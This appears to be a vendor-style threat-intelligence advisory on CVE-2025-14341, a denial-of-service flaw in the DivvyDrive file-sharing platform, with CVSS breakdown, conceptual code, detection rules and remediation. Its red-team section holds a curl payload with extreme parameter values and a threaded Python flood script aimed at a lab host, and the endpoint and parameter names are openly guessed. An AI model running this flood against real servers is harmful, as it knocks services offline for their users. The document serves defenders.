CVE-2025-14341

Executive Summary

CVE-2025-14341 is a critical vulnerability in DivvyDrive, a file sharing and synchronization platform developed by Divvydrive Information Technologies Inc. The vulnerability stems from an improperly controlled modification of dynamically-determined object attributes, combined with a lack of resource limits or throttling. This allows an unauthenticated attacker to cause excessive resource allocation and flooding, leading to a denial of service (DoS) condition. The CVSS score is 8.3 (High), and the attack vector is network-based with low complexity. No public proof-of-concept (PoC) or exploit code has been identified at this time, but the risk of resource exhaustion is significant. The vendor has released a patch in version 4.8.3.2.

CVSS Breakdown & Threat Level

• CVSS Score: 8.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Limited ability to modify attributes, but not data.
• Availability (A): High (H) – Complete loss of availability due to resource exhaustion.

Threat Level: High. The low attack complexity and lack of required privileges make this a prime target for automated botnets seeking to disrupt services.

Deep Dive & Mechanics

The vulnerability resides in how DivvyDrive handles dynamically-determined object attributes. The application fails to properly validate or restrict the modification of these attributes, allowing an attacker to manipulate them in a way that triggers excessive resource allocation. Specifically, the "Allocation of resources without limits or throttling" (CWE-1329) component means that an attacker can send a series of requests that cause the server to allocate memory, file handles, or network connections without any upper bound.

The "Flooding" aspect indicates that the attacker can send a high volume of such requests, overwhelming the server's resources. This is not a traditional buffer overflow but rather a resource exhaustion attack. The improper control of dynamically-determined object attributes (CWE-915) allows the attacker to set attributes that control resource allocation, such as buffer sizes, connection limits, or thread counts, to extreme values.

The attack likely works by sending HTTP requests with specially crafted parameters that modify internal object attributes. For example, an attacker might set a max_connections attribute to an extremely high number, causing the server to attempt to allocate resources for that many connections, leading to memory exhaustion.

Vulnerable vs. Patched Code

The exact code changes are not publicly available, but based on the CWE descriptions, the patch likely involves:

• Vulnerable Code (Conceptual):

  # Vulnerable: No validation on attribute modification
  def handle_request(request):
      obj = get_object(request)
      for key, value in request.params.items():
          setattr(obj, key, value)  # Directly sets any attribute
      obj.allocate_resources()  # Uses potentially malicious attributes
  

• Patched Code (Conceptual):

  # Patched: Whitelist allowed attributes and enforce limits
  ALLOWED_ATTRIBUTES = {'buffer_size', 'timeout'}
  MAX_BUFFER_SIZE = 1048576  # 1 MB
  
  def handle_request(request):
      obj = get_object(request)
      for key, value in request.params.items():
          if key in ALLOWED_ATTRIBUTES:
              if key == 'buffer_size':
                  value = min(int(value), MAX_BUFFER_SIZE)
              setattr(obj, key, value)
      obj.allocate_resources()
  

The patch introduces a whitelist of modifiable attributes and enforces maximum limits on resource-related attributes. It also likely adds rate limiting to prevent flooding.

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Cause a denial of service by exhausting server resources.

Lab Setup:

1. Target: DivvyDrive version 4.8.2.19 running on a virtual machine (e.g., Ubuntu 22.04).
2. Attacker: Kali Linux or any system with Python and curl.

Exploitation Steps:

1. Identify the vulnerable endpoint: Use a web proxy (e.g., Burp Suite) to intercept traffic and identify endpoints that accept user-controlled parameters. Look for parameters that might map to object attributes (e.g., buffer_size, max_threads, connection_limit).
2. Craft the exploit payload: Send a request with an attribute set to an extreme value.

   curl -X POST "http://target.divvydrive.local/api/v1/upload" \
        -d "buffer_size=9999999999&max_connections=9999999999"
   

3. Flood the server: Use a script to send multiple concurrent requests.

   import requests
   import threading
   
   def flood():
       while True:
           try:
               requests.post("http://target.divvydrive.local/api/v1/upload",
                             data={"buffer_size": "9999999999"})
           except:
               pass
   
   for _ in range(100):
       threading.Thread(target=flood).start()
   

4. Observe impact: Monitor server resource usage (CPU, memory, disk I/O). The server should become unresponsive or crash.

Blue Team (Defensive)

Detection:

• Monitor for a high volume of requests to API endpoints with unusual parameter names or values.
• Look for requests containing parameters like buffer_size, max_connections, or thread_limit with abnormally large numeric values.
• Use network monitoring tools to detect traffic spikes from a single source.

Mitigation:

• Immediately apply the vendor patch (upgrade to 4.8.3.2).
• Implement a Web Application Firewall (WAF) rule to block requests with suspicious parameters.
• Enable rate limiting on all API endpoints.
• Monitor system resource usage and set alerts for anomalies.

Indicators of Compromise (IOCs)

• Network IOCs:

  • High volume of POST requests to /api/v1/upload or similar endpoints.
  • Requests containing parameters with extremely large numeric values (e.g., buffer_size=9999999999).
  • Source IP addresses generating a high request rate (e.g., >1000 requests per minute).

• System IOCs:

  • Sudden spike in memory usage (e.g., >90%).
  • Excessive number of open file handles or network connections.
  • Application logs showing errors related to resource allocation failures (e.g., "OutOfMemoryError", "Too many open files").

• File IOCs:

  • Temporary files created in /tmp or application data directories with large sizes.

Detection Engineering

YARA Rule

rule CVE_2025_14341_DivvyDrive_Resource_Exhaustion {
    meta:
        description = "Detects requests attempting to exploit CVE-2025-14341 by setting extreme resource allocation parameters"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-14341"
    strings:
        $param1 = "buffer_size="
        $param2 = "max_connections="
        $param3 = "thread_limit="
        $large_num = /[0-9]{7,}/  // Numbers with 7 or more digits
    condition:
        any of ($param*) and $large_num
}

Sigma Rule

title: CVE-2025-14341 DivvyDrive Resource Exhaustion Attempt
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with suspiciously large parameter values targeting DivvyDrive API endpoints.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'buffer_size='
            - 'max_connections='
            - 'thread_limit='
        cs-uri-query|re: '[0-9]{7,}'
    condition: selection
falsepositives:
    - Legitimate large file uploads (unlikely to have these specific parameters)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14341 DivvyDrive Resource Exhaustion Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/v1/"; http_uri; content:"buffer_size="; http_client_body; pcre:"/buffer_size=\d{7,}/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade DivvyDrive to version 4.8.3.2 or later. This is the only complete fix.
2. Workaround (if patching is delayed):
   • Implement a Web Application Firewall (WAF) rule to block requests containing parameters like buffer_size, max_connections, or thread_limit with values exceeding a reasonable threshold (e.g., > 1048576).
   • Configure rate limiting on the web server or load balancer to restrict the number of requests per IP address.
   • Monitor system resources and set up alerts for high memory or CPU usage.
3. Long-term Prevention:
   • Conduct a code review to ensure all user-controlled parameters are validated against a whitelist.
   • Implement resource quotas and throttling for all API endpoints.
   • Perform regular security testing, including fuzzing for resource exhaustion vulnerabilities.

Report generated by Valters IT DevSecOps & CTI Division